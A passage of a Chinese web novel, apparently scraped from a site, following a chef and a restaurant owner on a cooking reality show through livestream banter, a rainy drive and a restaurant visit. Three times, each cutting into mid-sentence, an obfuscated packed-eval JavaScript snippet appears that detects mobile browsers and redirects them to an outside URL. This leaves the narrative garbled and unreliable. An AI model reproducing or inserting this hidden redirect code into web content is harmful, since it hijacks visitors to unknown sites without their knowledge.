“哎……”王师傅又仔细看了一眼：“你别说，好像真有点……” “王师傅！您拿远点再看看呢？” …… “听我说啊！”shake吼了一嗓子：“那是种感觉知道吗？你们看他这个表情，像不像陆总没睡好臭脸的时候？” 咦？ 大家又仔细看了一遍。 “你别说，你还真别说！”王师傅的徒弟缩了缩脖子：“嘶……师傅，你摸摸我这鸡皮疙瘩。” “可这跟营业额有什么关系？” “笨！”shake曲起两根手指敲了敲七喜的头：“自己看吧。” shake点开直播间，现在播出的画面正是在厨房掀天动地的谭宁。 谭宁拿着两把菜刀，一下一下重重砸在案板上，天花板都在震动。 而弹幕的画风却是…… 【抱抱可怜的主厨大人，不是，陆总人呢？老婆都这样了，他在干嘛？】 【姐妹咱宽容点吧，家里总要有人出去干活啊。】 【前面的姐妹新来的吧？陆总一直是口嫌体正直的人设啊，咱豹豹就是这么务实的靠谱男人！】 【点了，这对真的很好磕。有谁注意到之前宣布排名的时候豹豹在背后偷偷扶了猫猫一下，关键是！他的表情真的很好品啊！顶级过肺了谁懂！！！】 【我靠，没有你们我真的会饿死！】 【真的很好吃，是谁创造出了这样子般配的情侣！起床的时候本来贫血的，两眼一黑…看到瞬间满血恢复了，倒在地上的尸体直直的站起，眼神坚定的可以入党，步伐整齐的如同要出征。】 …… “不是……这对吗？” “那个我八字弱，不要吓我啊……” 默默愣愣地开口：“我没看错吧？他们说的是……陆总和谭主厨？” 几个人面面相觑，价值观受到了很大的冲击，除了王师傅。 他乐呵呵地笑：“我倒是觉得陆总和小谭姑娘挺般配的啊！跟你们说个秘密，要不要听？” “什么秘密？” 王师傅招了招手，大家马上凑过来。 “前头晚上，陆总和小谭姑娘在店里一起加班到半夜……第二天陆总把菜做出来以后，还专门叫小谭姑娘去试！” “我去！真的假的？”几个人捂着嘴，兴奋不已。 “啧，你王叔啥时候说过假话！你要不信，自己去问陆总得了！” 七喜急了：“不是，我不是这个意思！我是说……” “问我什么？” 一道熟悉的慵懒嗓音从身后传来，聚着的人皆脊背一僵，瞪大眼睛，头也不敢回。 “干嘛呢，怎么我一来就不说话了？” 陆跃三两步走近，众人赶紧散开，挥挥手发出一阵阵尬笑。 “没事没事，我们在讨论晚上吃什么呢！” “是啊陆哥，你看谭宁姐因为排名的事儿现在还在生气呢，咱晚上要不要吃点好的安慰她一下？” “对对对！小谭姑娘为了试吃的事情熬了两个大夜，我看着都心疼！” 陆跃扫了他们一眼，听到厨房传来咚咚咚的响声。他弯腰往里看去，谭宁拿着两把刀，面部狰狞。 “嘶……” 陆跃只看了一眼便赶紧缩回脑袋，但还是被摄像大哥给捕捉到了。 网友更是眼尖，弹幕全是捉到一只陆总。 【乐疯了，原来陆总不是不来而是不敢来啊哈哈哈哈哈！】 【呜呜呜老婆好凶，可是这样看更可爱了怎么办？】 【陆总我这有个锅，你拿去挡一挡。】 【是啊实在不行你就受着吧，苦谁也不能苦了孩子啊哈哈哈！】 …… 陆跃转回来，一双双眼睛正盯齐唰唰地看着他。 “咳咳——”陆跃摸了摸鼻头，说：“吃吃吃，一天天净想着吃。行了行了，我去跟店长说一声，你们自己商量好。” “哦耶！”大家跳起来欢呼：“陆总万岁！陆总最帅！” 陆跃哼了一声，傲娇地仰着头：“提前说好啊——” “保证不影响工作！”大家马上接道：“陆总您就放心吧！” 王师傅看了眼陆跃，他正伸长脖子往里面忘。 “各位——”王师傅为人处事的智慧就是看破不说破，他推着两个小徒弟往前走：“陆总都这么给力了，我说咱们也抓紧时间回去工作吧！” “对对对！努力工作！” 人群一哄而散，留在原地的陆跃轻笑一声，跟着耳朵就被厨房的动静狠狠攻击了一下。 陆跃对着里面龇了下牙，快步离开这个是非之地。 不行，待会忙完要抽空去西厨房检查一下，有什么损坏全部记到谭宁的账单里！ 这家伙，以为他的钱是大风刮来的吗！ 谭宁在厨房忙活了整整八个小时，直到黑夜降临，星星在天空眨着眼睛，大家也不知道谭主厨到底做了份什么东西出来，只闻到厨房里飘来的浓郁香味。 晚上吃的是陆跃请的小龙虾，星城做龙虾很有一套，油炸后再用啤酒加各种香料炖煮，配上黄瓜和藕片，出锅前再撒上一大把紫苏叶，香迷糊了！ 举杯相碰后，清爽的气泡顺着喉咙滑入胃里，一整天的疲惫瞬间得到了舒缓。 这时候夹一只龙虾放进碗里，第一步一定是嗦掉龙虾里鲜辣的汤汁，然后再剥去虾壳，把脆弹的虾肉浸入碗中的汤汁里，一口虾肉一口黄瓜，吃了就停不下来。 最后剩余的龙虾汤是精髓，一定不能浪费。本店最会煮面的陆老板在滚水里下入几块方便面饼，三分钟不多不少。时间一到，把水沥干放进龙虾汤里浸泡。 这一口谁吃谁知道，每一根面条都裹着汤汁，吃进嘴里还弹牙。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17525939|203498||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 还好这时候没有直播，不然谭宁都能想象到弹幕有多壮观，估计都能有观众跑来敲店里的门。 这顿饭大家都吃得很沉浸，酒足饭饱后，站的站，趴的趴，一边消食一边聊天。 有人问：“谭宁姐，你今天下午做的是什么啊？客人在外面都馋疯了，一直问是不是有新菜。” “嘿！”一直待在西厨房的shake就更有发言权了：“你们在外面还好，我就在她旁边你们知道吗？我在那儿哐哐敲冰呢，本来就没劲了她还一直诱惑我！简直受不了！” 谭宁喝完最后一口酒，眼睛弯成两道月牙，撑在桌边挥舞着手：“暂时保密！明天你们就知道了！” “切！” “好了好了，时间也不早了，咱们赶快做完卫生回家休息吧！” 店长率先站起身，大家也跟着行动起来。 不一会儿，餐厅就干净如新，随时等待着开启第二天的新篇章。 临走前，谭宁回头深深地看了一眼，门口的那盏灯在脚边落下阴影，轻轻摇曳着。 谭宁觉得自己固执地热爱着的正是这份每一点努力都能看到收获的踏实和每一天推开这扇门以后都能面临不同挑战的新鲜。 而此刻，她的坚持又多了一个理由，陆跃那句辣椒碰头不是游戏在她心里渐渐开始具像化。 无论过去如何，第二天太阳照常升起，《主厨的战场》新一轮的比拼正式拉开帷幕。 谭宁痛定思痛，昨晚连夜就把这周的法餐菜单做了出来。 在刚开始的这个阶段，为了最大程度的多吸引客人，谭宁设置了三道式和五道式以供选择，还有开胃酒可以单独点。 三道式里包含两道前菜、一道主菜和一道甜品，餐前小食算是附赠的。 饶是如此，套餐的价格也不算低。 陆跃看到这份菜单的定价后，沉吟片刻才说话：“嚯，你比我还会抢钱啊！” “很贵吗？”谭宁把菜单拿回来又看了一遍：“我这已经是优惠以后的价格了呀！就这道油封鸭至少也要做十二个小时，人工成本加上食材本身的价格……我把欧元换算了一下……” 谭宁掰了掰手指：“七七八八的……也差不多吧，不然咱们就真亏本啦！” “啊！”头顶被他不轻不重地敲了一下。 谭宁不满地瞪过去：“你干嘛！” 陆跃都不知道该不该夸她聪明：“你拿欧元换算？你咋不上天呢！欧洲理事会是你家开的，你把星城加入欧盟了是吧！” “我……”谭宁嚣张的气焰一下子就被浇灭了，哽着的脖子瞬间软了下来。 “不说别的，你做这份菜单有提前做过市场调研吗？有了解过星城的餐厅是怎么定价的吗？知道做一份菜具体的成本是多少吗？” “你太着急了谭宁，做厨师和开店完全是两码事。既然你选择揽下这个活，至少也要做得像样一点不是吗？” 谭宁想反驳，喉间却突然像被鱼刺哽住一般，只能发出嘶嘶的气声。 她不得不承认陆跃的话戳中了她的痛点，她是个厨师没错，可她来这个节目，不就是为了累计开店的经验吗？ 行动上她迈出了这一步，可思想上却仍然维持着原状。 无疑，陆跃在她受尽打压好不容易重整旗鼓士气正足的时候给了她迎头一棒，谭宁突然之间觉得疲惫极了。 她感觉自己面前摆着一个硕大无比的石头，那是她的出口，也是所有光亮的来源。 谭宁用尽了全身力气，它却依然纹丝不动。 现在她不知道该怎么办了。 11. 《主厨的战场》 生气归生气，活儿还是要干的。 这气既不针对陆跃，也不针对任何人，单纯是对自己有点失望。 西厨房一整天的气压都很低，默默本来就不爱说话，现在谭宁也闭麦，shake一个大E人都快憋疯了。 晚上打烊后，谭宁那份耗时一天多的美食终于在万众瞩目中登场了。 “哇！” 谭宁把它端上桌的一瞬间就引得连连惊叹。 从外形上看，这像个巨大的吐司，但表皮明显更加金黄酥脆，顶部和侧边都雕刻着美轮美奂的花纹，顶部开着两个小洞，像工匠手上编制出来的竹篮。 闻起来不仅有面粉的甜香更有肉汁的酱香，大家一个个凑上来欣赏，吞咽着口水，却又舍不得吃。 “哟小谭。”王师傅和陆跃一起走过来，他看了一眼便打趣道：“你这道菜总算是出炉了，你不知道我们在外面那就一个担惊受怕啊，还以为你要跟他耗到天荒地老呢！” 想起昨天的画面，闻言大家都忍俊不禁，哈哈大笑。 陆跃问：“你这做的是什么？” “哦！”谭宁拿起旁边的长刀：“等切开你们就知道了。” 随着刀片一起一落，切口处呈现出一道漂亮的横切面。粉色、绿色、深棕色……像一块小小的彩丘，透明的晶洞在灯光下熠熠生辉。 谭宁给大家一人切了一块，顺势介绍道：“这是源自于法国布列塔尼地区的一道传统乡村菜肴，我们叫它法国乡村肉派。是用千层酥皮包裹着肉馅烤制以后再从顶部的小洞倒入浓缩肉汁高汤，最后冷藏做成的。” “里面我放了猪肉、牛肉、鸭肝、开心果还有羊肚菌，可以搭配旁边的芥末酱和酸黄瓜一起吃。” 大家早就迫不及待了，都很好奇这块像面包一样的肉饼到底是什么味道。 如果说它的外形像一处精心雕刻的建筑的话，那么口感只会更上一层楼。酥皮包裹着一层明胶冻，啫喱入口即化，肉馅口感丰富，咸香浓郁，吃了一口以后完全停不下来。 “好神奇啊，感觉像在吃肉馅月饼，但又比月饼好吃！” “那个惠……什么什么牛排不也长这样吗？不过那个是热的，这个是冷的。小谭啊，王师傅觉得你这做的比那么牛排好吃，主要是好嚼！” “哈哈哈，王师傅你也太实诚了！” “还有吗？再给我来一点！” …… 这一个星期以来，谭宁的手艺算是彻底折服了大家，从上到下，无论是中餐还是西餐，没有人觉得不好吃的。 “谭主厨，你做菜是真好吃啊。嘿嘿以后放假能不能也去你家吃饭？” “我也想去！咱们店请来谭主厨真是太幸福了！” “说真的，谁要是娶到谭主厨那才叫真的幸福呢！每天在家就能吃到米其林五星级的大餐，想想都流口水！” “呜呜嫉妒……谭宁姐性别不要卡太死啊，我能吃能睡也很能干的！” “额……哪个能干？具体说说？” “滚啊！” …… 谭宁在听着大家你一言我一语的彩虹屁，却没像往常一样加入进去。她嘴角挂着淡淡的笑，思绪却早已飘远。 陆跃的话还萦绕在耳边，与她内心的挣扎缠绕在一起，乱成一团麻。 “谭宁……谭宁！” 肩膀被人重重拍了一下，谭宁啊了一声，人影在眼前上下漂浮着，她眨了眨眼，终于对上焦。 是陆跃。 “怎么了？”她像刚从睡梦中醒来，嗓音低哑。 “打烊了。你走不走？” 谭宁环视一圈，这才发现人都走空了，偌大的空间里就他们俩。 “走。”谭宁站起身，看到他手里的伞：“咦，外面下雨啦？” “对啊。”陆跃责怪般地看了她一眼：“刚刚那么大的雷声你没听到？” 走到门口，这才发现雨有多大。天像破了道口子一样不停往外倒水，雨水顺着屋檐哗啦啦往下流，砸向地面溅在两人腿上。 “天呐！”谭宁提高了音量：“这么大雨我咋回家！” 还能咋回，陆跃在心里腹诽。 “带伞没有？”他问。 “带伞也没用啊！”谭宁望着漆黑一片的天，心也跟着往下沉：“走回去全身都湿了，不然我还是回店里躲会儿雨吧……” 陆跃都无语了，真想把她的脑袋掰开看看里面到底是什么奇异构造。 “去店里拿把伞出来，我去开车。”陆跃扔下这句话便撑开伞往外走，不一会儿就消失在视野里。 谭宁听从他的指令在前台拿了把伞，锁门的时候才反应过来他这是要送她回家的意思。 刚转身，就被一束强光晃到眼睛，谭宁用手挡了挡，终于看清楚了他的车。 脑子里瞬间闪过那句话：我想把这玩意儿染成绿的！ 谭宁没忍住笑出声来，真是完全符合她对他的刻板印象。 “你这车够浮夸啊……” 刚打开门还没坐进去，就被一道厉声喝住：“哎！伞！伞！伞！放脚底下，别把我椅子弄脏了！” 谭宁才不惯着他这臭毛病，一边甩伞一边呛道：“怎么？你待会打算去当滴滴专车司机？” 陆跃心疼地看了眼自己的爱车，咬牙切齿道：“就该让你走回家淋成落汤鸡。” “那就感谢你大发善心啰~”谭宁操着矫揉造作的嗓音，成功收获到了陆跃的痛苦面具。 他不再陪她闹了，问她家住哪儿。 谭宁说了个地点，陆跃下意识问道：“你还住那儿？” 不然呢。谭宁嗯了一声，眼皮都没抬。我又不像你大少爷，家里房子比厨房里的调料还多，今天宠幸这个明天莅临那个的。 谭宁家里条件不算差，只是普通的工薪阶级在陆跃这里不够看罢了。上学的时候没感受到的差距，现在却反而让谭宁膈应起来。 这可不是个好兆头，谭宁心想。 陆跃这句话并没有恶意，只是突然想起高中的一桩往事。 他们当时就读的一中分寄宿生和走读生，他和谭宁都是走读生。 开学一个星期以来，陆跃已经从不同人口中听到不下十个关于谭宁的外号。 诸如：大力丸、人型承重墙、猛妹、结实姐等等。 有开学第一天糟糕的经历在前，陆跃对谭宁的印象想不深刻都难。 实际上，陆跃也感受到了身边的人对她的微妙态度，或者说是恶意。 因为她的体型。 陆跃对此其实并没有太大的感觉，因为家里开饭店的缘故，从小到大陆跃身边的人都不是那种特别苗条的体型。 不管是爷爷奶奶、爸爸妈妈还是家里的帮工，无一例外。生意人嘛，讲究财源滚滚那一套。 周六下午放学时，陆跃和几个朋友约着一起去网吧开黑，走着走着，其中一个揽住他的脖子凑上来压低嗓子道。 “哎，那个春丽是不是你们班上的？听说她开学第一天把班上的黑板砸出个洞来了，真的假的？” 陆跃顺着他手指的方向看过去，那个背影他再熟悉不过。 宽厚的肩膀，齐耳短发，靠右边有一簇头发永远不听使唤地往外翘。 谭宁的头永远高高地扬着，不管是坐在座位上时还是此刻耳朵里塞在耳机走路。 不知为何，陆跃想到了家里那只昂首挺胸的公鸡，油光发亮的羽毛，炯炯有神到仿佛永远处于战斗状态的眼睛…… 陆跃突 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17525940|203498||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 然就笑出声来，胸口起伏不定。 朋友不知所以：“笑啥啊？问你是不是真的呢！” 陆跃用余光瞥见她在街角处拐进了一个小区，说：“这谁传的谣言，也太无聊了。” 还把黑板砸出给洞，那她手都废了。想象着画面，陆跃突然感觉鼻子一酸，那一拳的威力重新涌上心头，她力气是真有点大。 雨滴砸在玻璃上，滴滴答答的响个不停。 陆跃察觉到谭宁因为一句随口的话而瞪了他许久，打着反向盘反驳道：“别看我，我现在也没比你好到哪儿去。” “哎！”谭宁忙不迭道：“我可没觉得自己很差，你说你自己，干嘛拉踩我！” 陆跃颇为无语地看了她一眼，紧抿着唇。 “好了好了。”谭宁意识到自己说错了话：“瘦死的骆驼比马大，你现在有车开还有自己的店，比我不知道好到哪里去了，干嘛这么丧气？” 陆跃冷哼一声，终于还是接受了她这另类的安慰，仍然不忘贱兮兮地补上一句：“看在你终于说了句好听话的份上，今天的车费免了。” 搞笑，谭宁翻了个白眼：“你让我付我也没有！早知道你在这等着我，就算被雨淋透也不会上你的车！” “嚯，有骨气。那你现在下去。” “我不！我就不！请神容易送神难，受着吧你。” “谭宁，算我求你，少给自己脸上贴金行吗？” “你管我！” …… 一路这么拌着嘴到了谭宁家小区门口，临下车时陆跃叫住她。 “明天我打算去探店，你要不要一起？” 解安全带的手停在半空，谭宁转过头看向他，问了一个很傻的问题：“你认真的？” 陆跃乐不可支：“你看我像开玩笑的样子吗？” “那你什么意思？” 陆跃直了直身子，商量的态度。 “西餐的定价我不算很了解，那份菜单暂时没办法给你答复。所以我准备出去转转，你要是觉得没必要，只想待在厨房我也没有意见。那以后你就只管菜品，其他的我自己负责。” “懂了？”陆跃低头去找她的眼睛。 懂是懂了，但…… 谭宁眯了眯眼：“你怎么会这么好心？” 按照陆跃的秉性，他就应该像上午那样把菜单甩她脸上，颐指气使地让她去重做一份直到满意为止。而他非但没有，甚至准备替她代劳。 “啧。”陆跃也没什么耐心，改口道：“你不想去就算了，当我没说过。” “哎！” 谭宁并不是不想去，她只是短时间内无法迈出这一步。 她犹豫道：“如果我去了，这几天的试菜怎么办？本来我们就已经是倒数了，再不赶紧推出新品我怕会跟别人的差距越来越大……” “你什么时候变得这么婆婆妈妈了？”陆跃打断她没说完的话：“想去就去，我一个老板都不怕，你怕什么？餐厅就你一个能干的？离了你世界不转了？搞笑……” “知道了知道了！”谭宁咬咬牙，心一横应了：“我去！” “我去还不行吗！” 真是一点没变，激将法对谭宁这种一根筋百试百灵。 陆跃抵着唇，笑意却从眼角溢了出来。在谭宁看过来之前，他收敛表情，轻咳一声，瞬间一副公事公办的模样。 “哎，这可是你自己答应的，别到时候又反咬一口说我逼你。” 谭宁抬手作势要打他，被他下意识缩头的动作逗到，瞬间那些烦恼啊气闷啊都烟消云散了。 “我乐意！你别管！”谭宁把手上的水往他脸上掸，轻快地开门下车。 “明天见！”谭宁背对着他挥了挥手，动作潇洒。 12. 《主厨的战场》 早上临出门，谭宁被母亲周敏华的大嗓门喊住。 “哎！待会我要去你们店附近开会。你等等！待会一起走。” 谭宁弯下腰系鞋带，抬头看着周淑华的背影走到里间，提高音量。 “不行啊妈。今天我不去店里，我得去跑市场！” “跑市场？”周敏华陡然间转过身来，长长的细眉高扬：“你一个人？” “不是啦。”谭宁站起身来，解释：“跟陆跃一起。” 周敏华已经走了过来，抬手给她理了理衣服：“口无遮拦！当着人面可不能直接喊人名字，听到没！你看看网上人家都怎么说你俩，什么老婆啊老公啊，乌七八糟的！你一个女孩子，当着那么多人的面疯疯癫癫的像什么样！” 当初谭宁说要去参加综艺周敏华就不赞成，别看现在网络这么发达，可不见得都是好事。他们家本就是普通得不能再普通的家庭，谭宁从小到大被她爸谭正和惯得人来疯，去国外转了一圈以后更是像脱了缰的野马，学着西方搞那套崇尚自由。 清早被周敏华一顿耳提面命，谭宁原本还雀跃的心情一下子down到底，垮着个脸，语气不满。 “妈——我不是跟你说过嘛，陆跃是我同学我不叫他名字叫什么？什么年代了呀，再说我们餐厅跟你们单位又不一样，哪儿那么多讲究！” 至于弹幕那些话更是无稽之谈了：“他们都是开玩笑说着玩儿的，也就你们这些无知……啊啊啊啊！妈！你拧我干嘛！！！” “死丫头，你还知道我是你妈？”周敏华气得脸都红了：“你上节目，丢脸的是你妈我知道吗？” 自从节目播出以后，周敏华但凡走在单位就要被人问上一句：哎！周姐，昨儿个晚上在电视上看见你女儿啦，真有意思啊！ 起初周敏华还笑着跟人客套：“哎呀李书记，您可别提了！我们家那个从小就不让人省心，闹着玩罢了。还是你们家儿子厉害，读博回来就进了研究所，真真是国家栋梁呐！” 她以为人家是夸她呢，结果回家一看，当场就气晕过去。 谭宁一进门，鸡毛掸子跟着就飞过来了。 “你那节目不准去了，明天开始给我老老实实待家里考编！” “妈！你活在清朝呢？”谭宁当即炸了：“御膳房都撤了八百年了，我考什么编？” “谭宁！你非要气死我才罢休是吧！” 家里鸡飞狗跳，谁也不肯松口。直到谭宁说出天价违约金把周敏华生生吓晕过去，气得三天没跟谭宁说话。 本以为她能收敛点，结果呢？周敏华每天走在单位恨不得拿个罩子把自己遮起来，生怕被人拉着聊天，感觉每个人都笑里藏刀。 真是几十年的老脸都被她给丢光了！ “妈！”谭宁恨不得给她跪了：“就这么跟你说吧，就算全天下的男人……不！全天下的雄性都死光了，我孤独终老，都不可能喜欢陆跃！这下您放心了？我可以走了？” 谭宁趁着她慌神的功夫赶紧抓起包拔腿就跑，连门都来得及关，生怕又被她抓回去念经。 “不是……”反应过来的周敏华哎哟一声：“谁问你喜不喜欢人家了！我是让你上节目收敛一点，不要乱说话！” 谭宁已经听不到了。 她三步并一步地狂奔下楼梯，逃一般地打开车门坐了进去，又忙不迭地关门，生怕晚了一秒就被周敏华追上来。 “快……快走。” “嚯！”陆跃往后一躲：“你鬼上身了？后面有丧尸追你啊？” 岂止啊，比丧尸还恐怖。 好不容易喘了口气，一回头，看见后座有个人举着巨型摄像机对着前面拍。 “啊！！！” 谭宁花容失色，尖叫出声：“我靠！他怎么在这！！！” 【不好意思啊豹豹猫猫，打扰你们单独约会了~（赔笑）】 【xswl本来还以为是节目组安排的，没想到他们真的又打算甩开节目组单独行动啊！】 【节目组就这样死精，随橙想呢，反耳更好品了。】 …… 陆跃发动车子，淡淡道：“不然呢？你以为就我们俩？” “我我我……” 本来只是开玩笑的话，没想到谭宁像是被戳中了一样，磕磕巴巴的脸颊通红。 “我意思是……咱们带着摄像机去探店，这不明摆着告诉人家我们不是普通顾客吗？这样能打探到什么消息？” 陆跃扫了她一眼，说：“我发现你这个人搞什么事情都像做贼一样，坏习惯得改啊。” 你才做贼！你全家都是贼！ 谭宁回过头，大哥从摄像机后露出一双眼睛，眯眯笑：“放心吧！来这节目之前我还当狗仔来着，两位绝对发现不了我的存在！不用管我，把我当空气就行！” 【哈哈哈哈，摄影大哥太上道了！】 【大哥你粉籍漏了！宁跃有你了不起！】 【热搜预备了：《主厨的战场》嘉宾私密约会，看刘小锤带你直击第一现场！】 …… “呵呵。”谭宁干笑了两声，缓缓转回去：“倒也不必这样……” 因为在直播，谭宁自觉收敛了动作，刚刚周敏华的告诫还震耳欲聋着，鬼知道今晚回家又有什么等着她。 算了，暂且先忍一忍吧。 到了目的地，摄像大哥果然马上隐藏起来，让人完全感受不到他的存在。 这边靠近湖泊，湖边绿意点缀，独栋的洋房小别墅更添了一分诗情画意。西餐厅开在这儿，可以说是非常应景了。 这个点人不算很多，谭宁踩着陆跃的影子，头顶不时传来阵阵蝉鸣，突然有种回到过去的不真实感。 夏天，好像注定绚烂是而热烈的。 铃声响起，陆跃接起电话。 “喂？我到了啊，马上过来，别催。”陆跃回头看了谭宁一眼，她低着头不知道在想些什么：“发什么呆呢，走呀。” “我不在走着嘛。”谭宁问：“还有谁跟我们一起？你朋友？” “嗯。”陆跃没再解释，却暗自放慢了步伐。 还离着百米远，陆跃的朋友站在门口冲他们热情挥手。 “这儿！等你半天了陆跃！” 陆跃慢悠悠地走过去，和他交握后撞了撞肩膀。 “谭主厨！久仰大名！”男生转向谭宁，银色的耳钉晃着她的眼：“你们的节目我每一期都看了！我是边看边感叹啊，真是被陆跃这家伙挖到宝了，嫉妒死我了！” “不敢当，不敢当。”谭宁被他的幽默逗到，不自觉染上了笑意：“你是这家店的老板？怎么称呼？” “我姓高，你叫我高帅就好！”高帅露出两颗洁白的大门牙。 谭宁不疑有他，马上回道：“好的高帅！请多指教！” “噗——”陆跃笑得前仰后合，腰都直不起来：“说你傻还觉得在骂你，谁家爹妈会这么没眼力见？” “陆跃！”这个“高帅”气得鼻孔朝天：“你他丫会不会说话？懂不懂说话？说我也就算了，人谭主厨找你惹你了？谭主厨，我看你不如来我们餐厅，我比他可好相处多了！” 他挑了挑断眉：“怎么样？要不要考虑考虑？” “挖人挖到我头上来了？要不要脸？”陆跃脸都黑了。 “嘿！你这话说的！人谭主厨只是去你那录节目，又不是你们店的厨师！我俩到底谁不要 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17525941|203498||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 脸？啊？” 即使踮起脚来，陆跃仍然比他高一个脑袋，他扫了旁边的谭宁一眼，轻飘飘地杀死比赛：“你。” “切！”高帅扭过头：“你说了不算，我不跟你吵。” 然后又去找谭宁，悄悄在她耳边说：“别理他，咱俩加个WX，有什么要求尽管提！” “好啊好啊。”谭宁是抱着取经的心态来的，自然不会拒绝：“那我扫你。” 高帅赶紧拿出手机：“我就喜欢你这种爽快人！” “谭宁！” 刚扫上，那边阎王又开始点卯了。 谭宁忙不迭地把手机收起，跑上前去：“来了来了。” 穿过一条藤蔓构成的长廊，进到餐厅里面才发现别有洞天，说是卢浮宫的翻版也不为过。 穹顶和四壁由华丽的壁画和雕花构成，欧式的古典气息铺面而来，搭配上优雅的大提琴声，与其说是餐厅，更像是进入了电影里的宴会现场。 谭宁忍不住连连发出惊叹：“天呐！你知道这么好的西餐厅怎么不早点跟我说？！” “怎么样？我这还不错吧？”高帅双手背在身后，转了圈又绕到谭宁身边，语气里满是得意。 “岂止是不错啊，简直是闪瞎我的眼了。” “哎哟。”高帅摆摆手：“太夸张了，我这也就是做个皮毛吧，如果……” “打住。”陆跃眼风扫过来：“我们坐哪？” “哦。”高帅往前走带路：“今天天气好，我给你们留了个外面的位置。就在前面的亭子里，现在蓝雪花开了，景色特别美！” 陆跃这朋友是真能处，这地段这景色，人均消费至少得上千。 “你们先坐，菜单一会就拿过来。”高帅还想聊一会儿，耳朵里已经开始催促：“知道了，我马上来。” “正是忙的时候。”他作怪地看了眼陆跃：“你说你要做市场调研给我发个消息，我把菜单拍过去不就得了？是不是存心给我添堵？” 陆大少爷跷着腿，丝毫没觉得乱了人家的生意：“又不是不给你付钱。” “哎呦，看来最近又从你们家老太太那儿捞了不少？” 什么叫捞！陆跃急得差点跳脚，那明明是合理合法的酬劳好吗？ “那我就不跟你客气了，这单肯定让你买！” 高帅走后，只剩他们俩面对面坐着，多少有点尴尬。 感受到她打量的视线，陆跃扫了回去：“看什么？我可没钱请你，AA。” 谭宁差点没忍住一个勾拳上去，白眼翻上天：“陆大少爷算计我一个平民的钱，你是不是穷疯了？” 陆跃还真是穷疯了，白花花的银子都砸到店里了，车全卖光了只剩现在这一辆，就这也仅仅只是维持着运营。 “不然你以为我怎么会参加这节目？”陆跃掀了掀眼皮，没有诉苦的意思，仅仅是陈述事实。 谭宁始终不懂，他是喜欢厨艺也好，还是单纯想开店创业。以他家里的财富和成就，无论如何也不应该是现在这种窘况才对。 除非……他和家里闹崩了。 难怪昨天他会说自己没比她好到哪儿去。 谭宁心想你还是太年轻了，他比她不知道好到哪儿去了才对好吗？只要他服个软认个错，想要的东西不就是一句话的事。 而谭宁呢，她连退路都没有。 坐着如此梦幻唯美的环境里，两个人却一点旖旎的心思都没有，不约而同的脑海里想的都是钱。 “二位中午好，菜单在这，看看想吃点什么？” 服务员把菜单呈上来，谭宁翻开后，颇为震惊地张开嘴。 不是因为太贵，恰恰是因为没她预期的那么贵。 13. 《主厨的战场》 陆跃抬头扫了她一眼，哼笑道：“现在知道我为什么说你抢钱了吧？” “不可能。”谭宁又往后翻了好几页，确定不是自己看错以后往前倾了倾身子，小声道：“该不会是阴阳菜单吧？因为你是老板朋友？” “女士您放心，咱们店只有这一本菜单。我们老板特意交代过，别的朋友来一律免单，陆少爷按原价付。” 服务员边倒水边微笑解释。 “噗——”谭宁听完差点喷出来：“陆少爷就是不一样啊，走到哪儿都有‘优待’。” 服务员也忍俊不禁，拼命压着嘴角。 看着陆跃吃瘪，谭宁点菜的速度都变快了，“这个，这个，还有这个……要不龙虾也来一份吧，芒果拿破仑也要一份，还有……” “哎哎哎，你差不多得了，吃得完吗？” 谭宁抬头看了他一眼，用他说过的话回敬：“管得着么你，又不是不付钱。” 这下轮到陆跃翻白眼了。 …… 这一顿谭宁吃得很满足，从前菜到甜品，无论摆盘还是味道都十分有考究。就像陆跃说的，开在这个地段的店或多或少都有些真本事，毕竟房租就不便宜。 谭宁问：“那为什么他们的定价还可以压到这么低的？” 陆跃抿了口柠檬水，说：“首先，他这个价格并不算低。你觉得低，是因为你脱离星城太久，不了解这里的消费水平。” “如果你有去过求职市场，就会发现这里的平均工资基本只有五六千，你说你的定价会不会让人望而却步？” 谭宁反驳：“可是平均工资并不能代表一切啊，星城的高收入阶层也不少，我们吸引特定的客群不就好了。” “你觉得有多少高收入阶层会看这个综艺？” …… 是啊，如果没有多余的经费做推广，现在最大的流量就是来自于综艺本身。可综艺吸引的基本都是学生或者年轻一族，这些人群虽然有一定的消费力，但要说负担一顿昂贵的法餐，多少还是会有些犹豫。 像半斗米，就是抓住了这波流量，定价低翻台率高，源源不断的客人，就是源源不断的流水。 但要复刻，几乎不可能。 “半斗米已经把这一部分人收割走了，而屿夏走的宴请路线，中间还有很大一段市场是空缺的。”停顿片刻，他说：“而这就是我们需要去把握的。” 谭宁点了点，若有所思的样子。 而陆跃已经站起身：“走一步算一步，少想多做。现在我们要做的就是这些，走吧，回店里。” 付完款出去，谭宁打开手机给他转了一半的钱。 “哎。”谭宁叫住他：“钱给你转了，收一下。” 